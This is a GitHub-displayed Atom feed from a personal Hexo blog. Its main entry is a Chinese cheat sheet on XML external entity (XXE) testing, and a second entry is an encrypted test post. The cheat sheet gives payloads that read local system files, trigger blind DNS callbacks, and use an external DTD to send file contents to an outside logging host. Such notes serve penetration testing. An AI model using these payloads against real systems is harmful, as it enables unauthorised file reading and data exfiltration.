a0xpg.github.io/atom.xml at master · a0xpg/a0xpg.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>A0xpg 博客</title>
  <icon>https://www.gravatar.com/avatar/3bb243bfb18f26c5077c9bd395053b2d</icon>

  <link href="/atom.xml" rel="self"/>

  <link href="http://wiki.a0xpg.com/"/>
  <updated>2019-12-02T15:44:43.031Z</updated>
  <id>http://wiki.a0xpg.com/</id>

  <author>
    <name>A0xpg</name>
    <email>a0xpg@qq.com</email>
  </author>

  <generator uri="https://hexo.io/">Hexo</generator>

  <entry>
    <title>xxe</title>
    <link href="http://wiki.a0xpg.com/2019/12/02/xxe/"/>
    <id>http://wiki.a0xpg.com/2019/12/02/xxe/</id>
    <published>2019-12-02T15:44:43.047Z</published>
    <updated>2019-12-02T15:44:43.031Z</updated>

    <content type="html"><![CDATA[<h1 id="XXE小结"><a href="#XXE小结" class="headerlink" title="XXE小结"></a>XXE小结</h1><p><strong>1、测试是否禁用dtd</strong></p><p><code>!DOCTYPE foo</code>  定义此文档是 foo类型的文档</p><p><code>!ELEMENT foo ANY</code>  ANY 声明的元素，可包含任何可解析数据的组合 </p><p><code>!ENTITY xxe &quot;testXXE&quot;</code>  !ENTITY 实体名称 “实体的值”</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>        </span></pre></td></tr><tr><td class="gutter"><pre><span class="line">2</span></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE foo [ </span></span></pre></td></tr><tr><td class="gutter"><pre><span class="line">3</span></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ELEMENT foo ANY &gt;</span></span></pre></td></tr><tr><td class="gutter"><pre><span class="line">4</span></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY xxe "testXXE"&gt;</span></span></pre></td></tr><tr><td class="gutter"><pre><span class="line">5</span></pre></td><td class="code"><pre><span class="line"><span class="meta">] &gt;</span></span></pre></td></tr><tr><td class="gutter"><pre><span class="line">6</span></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">foo</span>&gt;</span><span class="tag">&lt;<span class="name">firstname</span>&gt;</span>&amp;xxe;<span class="tag">&lt;/<span class="name">firstname</span>&gt;</span><span class="tag">&lt;<span class="name">lastname</span>&gt;</span>666<span class="tag">&lt;/<span class="name">lastname</span>&gt;</span><span class="tag">&lt;/<span class="name">foo</span>&gt;</span></span></pre></td></tr></table></figure><a id="more"></a><p><img src="/images/loading.gif" data-original="image-20191128170713993.png" alt="image-20191128170713993"></p><p><strong>2、测试是否可回显本地文件</strong></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">!ENTITY</span> <span class="attr">xxe</span> <span class="attr">SYSTEM</span> "<span class="attr">file:</span>///<span class="attr">c:</span>/<span class="attr">windows</span>/<span class="attr">win.ini</span>"&gt;</span> </span></pre></td></tr><tr><td class="gutter"><pre><span class="line">2</span></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">!ENTITY</span> <span class="attr">xxe</span> <span class="attr">SYSTEM</span> "<span class="attr">file:</span>///<span class="attr">sys</span>/<span class="attr">power</span>/<span class="attr">image_size</span>"&gt;</span>   #payload：无特殊字符，返回只有一行数字</span></pre></td></tr></table></figure><p><img src="/images/loading.gif" data-original="image-20191128171532350.png" alt="image-20191128171532350"></p><p><strong>3、dnslog盲打</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span></pre></td><td class="code"><pre><span class="line">#用于快速发现是否存在xxe漏洞</span></pre></td></tr><tr><td class="gutter"><pre><span class="line">2</span></pre></td><td class="code"><pre><span class="line">&lt;?xml version&#x3D;&quot;1.0&quot; encoding&#x3D;&quot;UTF-8&quot;?&gt;        </span></pre></td></tr><tr><td class="gutter"><pre><span class="line">3</span></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE foo [ </span></pre></td></tr><tr><td class="gutter"><pre><span class="line">4</span></pre></td><td class="code"><pre><span class="line">&lt;!ELEMENT foo ANY &gt;</span></pre></td></tr><tr><td class="gutter"><pre><span class="line">5</span></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY xxe SYSTEM &quot;http:&#x2F;&#x2F;xxe.test.log.a0xpg.com&quot;&gt;</span></pre></td></tr><tr><td class="gutter"><pre><span class="line">6</span></pre></td><td class="code"><pre><span class="line">] &gt;</span></pre></td></tr><tr><td class="gutter"><pre><span class="line">7</span></pre></td><td class="code"><pre><span class="line">&lt;foo&gt;&amp;xxe;&lt;&#x2F;foo&gt;</span></pre></td></tr></table></figure><p><img src="/images/loading.gif" data-original="image-20191128172004334.png" alt="image-20191128172004334"></p><p><strong>4、外部dtd盲打</strong></p><p>无回显盲打xxe，用于fileattack测试</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE foo SYSTEM "http://www.a0xpg.com/log.dtd"&gt;</span></span></pre></td></tr></table></figure><p><code>注意</code>：特殊字符会破坏URL</p><p><a href="http://www.a0xpg.com/log.dtd" target="_blank" rel="noopener">http://www.a0xpg.com/log.dtd</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % payload SYSTEM &quot;file:&#x2F;&#x2F;&#x2F;sys&#x2F;power&#x2F;image_size&quot;&gt;</span></pre></td></tr><tr><td class="gutter"><pre><span class="line">2</span></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % param1 &#39;&lt;!ENTITY &amp;#x25; external SYSTEM &quot;http:&#x2F;&#x2F;xxe.log.a0xpg.com&#x2F;x&#x3D;%payload;&quot;&gt;&#39;&gt; %param1; %external;</span></pre></td></tr></table></figure><p><strong>5、支持的协议</strong></p><p><img src="/images/loading.gif" data-original="image-20191128181129606.png" alt="image-20191128181129606"></p><p><code>tips</code>: java中可以使用netdoc代替file</p><p><strong>6、xxe利用</strong></p><p>读取多行文件可以使用ftp服务器</p>]]></content>

    <summary type="html">

      &lt;h1 id=&quot;XXE小结&quot;&gt;&lt;a href=&quot;#XXE小结&quot; class=&quot;headerlink&quot; title=&quot;XXE小结&quot;&gt;&lt;/a&gt;XXE小结&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;1、测试是否禁用dtd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;!DOCTYPE foo&lt;/code&gt;  定义此文档是 foo类型的文档&lt;/p&gt;
&lt;p&gt;&lt;code&gt;!ELEMENT foo ANY&lt;/code&gt;  ANY 声明的元素，可包含任何可解析数据的组合 &lt;/p&gt;
&lt;p&gt;&lt;code&gt;!ENTITY xxe &amp;quot;testXXE&amp;quot;&lt;/code&gt;  !ENTITY 实体名称 “实体的值”&lt;/p&gt;
&lt;figure class=&quot;highlight xml&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;        &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;&amp;lt;!DOCTYPE foo [ &lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;&amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;&amp;lt;!ENTITY xxe &quot;testXXE&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;] &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;foo&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;firstname&lt;/span&gt;&amp;gt;&lt;/span&gt;&amp;amp;xxe;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;firstname&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;lastname&lt;/span&gt;&amp;gt;&lt;/span&gt;666&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;lastname&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;foo&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

    </summary>


  </entry>

  <entry>
    <title>Hello Word - Hexo</title>
    <link href="http://wiki.a0xpg.com/2019/05/26/hello-world/"/>
    <id>http://wiki.a0xpg.com/2019/05/26/hello-world/</id>
    <published>2019-05-26T04:12:57.000Z</published>
    <updated>2019-12-03T08:18:20.918Z</updated>

    <content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <div class="hbe-input-container">  <input type="password" id="hbePass" placeholder="密码123456" />    <label for="hbePass">密码123456</label>    <div class="bottom-line"></div>  </div>  <script id="hbeData" type="hbeData" data-hmacdigest="6e6d57dbbc45ffa718ade6497e112419db53184d31867efbddf01cf6ed0daf2d">56d7b3367aa49e28656be8eed6581cbf75773aa16885176585bd5c2aad635ab9a22eb547c4d3a84eb38fdea1c040c23b2bd9f11cb65f50934b013996abd7b75716c338903d9862d4286309cb051bfb57035f061536a3d42ca48bc465649efab864f819864036558d6e797601918ccb9f96b1829f09798ac45becaaf4e2b0ca5898af54256f667defda0fa8b22da5196d04cf0647a291a24d7f4c429ad660197655be4c1f958ea05893b3c469246c179a4c29d92a2e9ba7aabb0b57ac28654afd49f27960b5bc50ed45af917ef1a21108bb49d21a675a664b95aa28af6115fd796696601383b2abe66d0e1730cb1a09401c47271860caeac2446659d3b7f20dcd518fbf53dd93e8bfbe2e4b1048924d1b8025bc746d1caeef69ea1367edcd1e605b4149883a574c0d26ac78e730e065e4b0d42ff59f3bfba5dcf01f1147261d6e14852fdd375d2422f7a05dadd656294b829801a266f33eb69e510ec8d8570efe54735ab251d83f48e04fb4b6178551cc5737488c86ca6d2085b2c7a76b2d85ec15c57a095de581e4ca024da66842b4e6ea5fa0cddffb2aff24aeee17bed501b247150c78678829afee80f321e1c8fc9925e4d910fe2ab33c492bbb13a3affdb2101c4e322c74c410a4e46e3ca1acd1b6faf50c67edf4cd0310640bc27b4c597a38f9aec7a7c8f02c8213af4c70af61d9316efe432a70c549c2ce7f245e16bf0325ebc3fc5e6607d6cc7785d1ee8fc6aa8f1501b2f09ec7847c8a0cbe0c7e09ba87781e9b0ef775e1eee62432b88b9ecb6692ba98052ae2d6699cbc1e9dec39342ebae94af11896e8ff1292e86cbe3c084326392ddc857e568303f3dc59cd3fc55cdd9a734d7c45dba3fa912bad5ab97ea1f1e99626d853d038c1b13e19e642f3711813123987e27b995e0079bc1064553d88f58781394c4d1b36adc2530f4bbc6ec819bdf40646393a5f12d9787c4c16e705fa62f200eb3840abbe2e30def0fb7f3c5e5d8fe663ca54c5d4971f5fbb1792e7554d1d66d974d0b5fa1fba9f06704a80bf34c30abaa8bb2cad5e174576e593fe6db178d0286c79e740fdc686677d4d0b35f38fa78f1384716242a841675f0096c72956a298033691b120f0745a6b6dfde05b1c8b047a08ae8cb08c4879fd54e809f36447e8508317447d655b72fe0995a536a35bc223141e5f4e664dfedccacede2a308924ffc4f4a756cf6d5445115fc8e0737d9a493e5ce901aaa4e389f4ca0920841d5a8c9d9dc46082fc777cad99679a88110cf06517b978bbd530d9be2fbab9d3aacf9a8a16ead1790b17734e0a2285f8a1e95a377234e53e45508cc49de8109add2614b877bcb6938bc1de3b47c86026c69d8961398a935e929c238b65ddd3f8c4cdab4c075a20edfb62513f7b426e37496303657445d51e6afe97d15f7e8314f873fb202b28e3ac329dc9546b1aab6c7e40b288d6d7cd4b291c2f36445c4dde2ed8021ad01d17bd03dab0b2d13f09e973ba19f8b21bcdd1a09b175064414172ae29b8ebd65ff64f5cfae57d57e3ca49ca98306e5490bf093e696df4a997323e65b3190f3b7d6da09075ed2b4b5b956b33b6450c7b97f36a6b42889b7e1a9d1b23daa51e94ed0e97779b17cf605476a5e182661bd67a508f1171e18e677c0e895ab24cd8f64da6607f693974e837e28d4fc22caf215b45b0e35d914ef6259c5d74f39550fb9ef10fbde97f1ff22c795ef4313e8653d8ba4e98c2e9340ddd36801768004d6601aef151edfb1c97a65dc44e106ea4bbe13f4489e37eb959a9a40a5b5cc9f84f2410f17d5ff6a0992f3772cd1497ad7c8ad7797a5db73addf3d51681c7b15961c77280aa3b003a53b6181dab853d43e04df1b81c4b1c04b005cbd1bc851814e0177af7668f57355851757868fef02bee4962e9cf5f2e2faa50f7d59c140314a36743325f2000b33db7d8228ea8cbcbae69520497bf72474fdf25bf6c39abac0dad41ac740b70b12e6509d1ccb53486b688aa108c7a0ce47e0b0dce5cae82b1c9fa93d9cf84ea1330dedf10ea50f9159f0893f12459dfc48dc09118f3daaad9fc8d2653e58d26b88e996b271cf30c84a9c91013e4a392faed5d3706293089ccfee5deaa9cd47fcb361729b5dbe1cddecdd4632e05b7b2092302a9557562557af8c94be06776ff845488b00f9c60706975be19b27891b9499ea75194e82d6afff008eeee041be356dfb916d3adb3bc88a9ff09745b5416959fb1887045ac264843f942b85ee2d6f20cfc2f8847033f2101decd7cdb5b4366ca964b56ca76f0cce68bf927f8cfa44a48e0dff84e588f885f1af22238cd6ba472642a7fb7759423e3d455fd7dfb0d8a0d8c43a6cb25aa65da1377fff8089b94aba6d4e65083534fe31a550931c6838d96b917d0f66beea447a514823239be1dce3819c0d7d7005894b2dfe598f3edc8243f72ed055451386a787863b2d417c6db131d2cb32d193ce77395c15f11b21766d3c203e8a3ae839e7238aeaa9cf73ee64ed1c113b4a76c3b6b01c986e3d1fb849122aff7536224e65da6ae5965b6a5733b607bffb12545870e2e67850dfc002dfcaeeebb24295ddf6e6e86574949d04db01eed864efec78d2727331e171c14ea9f162186016a8bd45e75226f76f2115bf52ab7d93c13383a1737ea6cd6203341db4656d0fe098bf26c6a96bafa719d444feccf55c95b598c04b0c9e949cd2330d079eeec9ffde9b71c90ec7550f7432ebf5445ea6b62359575983117cc6a9f16fca7cc60c7b6b6ed787b95f5429c150d286a98a3167d2dcfd3eb69a28898ea8fe28ef3c95144153a1f436576761de16e71af0bebbb884b3159f2946c42e4ec955c381b426ed4ba5b80bfbf602f5ce1e6f7e098b5893f883b34b577ad6945fac35ffd2d449a507476c4cdb4e2de27f366914ab247743bade2b336af1b32fb0369aa6430ed1f3fbd75a990f812c043460e3ea5cfe0ffe3b816cc57d2f287f1968f90448f3d5453a7e7412ca62db02a0d77e79ddafc510d10f2df1ac8878a863cc26515e2e384b9fca851f02448fa8df8da177c570ecf025559c06774eb477b49fcfea944e1895ccd778b89c6112f0c57fb6372d368c3ce7c35327b116a6a6dec6e7106bdacecb73c76b0f7a4b1c4b0e0f869b6459c94d546458d8a79e099c4ffc69faa1d760c796d0c5529684a2bf41ee4a729cbf2d03c9a39062739337648b98f12ed6f5942bc6e66857485b329a916049406e6c8a0575213f84f85ceb13b1e0d7e05d449e79bb5f1a919651218f9554353c9771f35e58a7c4c461cc3c12727488931cdd36f622c4c2459c4e8c0a6bf935129f4668ac488526df0fb0f29a5e7a2ede04560ec9911fe9c7fd7fdf87ddebfe18a169f445cbffd90c7f1c90ad2a0b4433fb5d7332a67c7f7ebce0752c7746b1f33a3e51395ba5e2407a86414f53076fa79094a956706e1a4feeb7cf0ac</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>

    <summary type="html">

      Here&#39;s something encrypted, password is required to continue reading.

    </summary>


      <category term="测试" scheme="http://wiki.a0xpg.com/categories/%E6%B5%8B%E8%AF%95/"/>


      <category term="hexo" scheme="http://wiki.a0xpg.com/tags/hexo/"/>

      <category term="test" scheme="http://wiki.a0xpg.com/tags/test/"/>

  </entry>

</feed>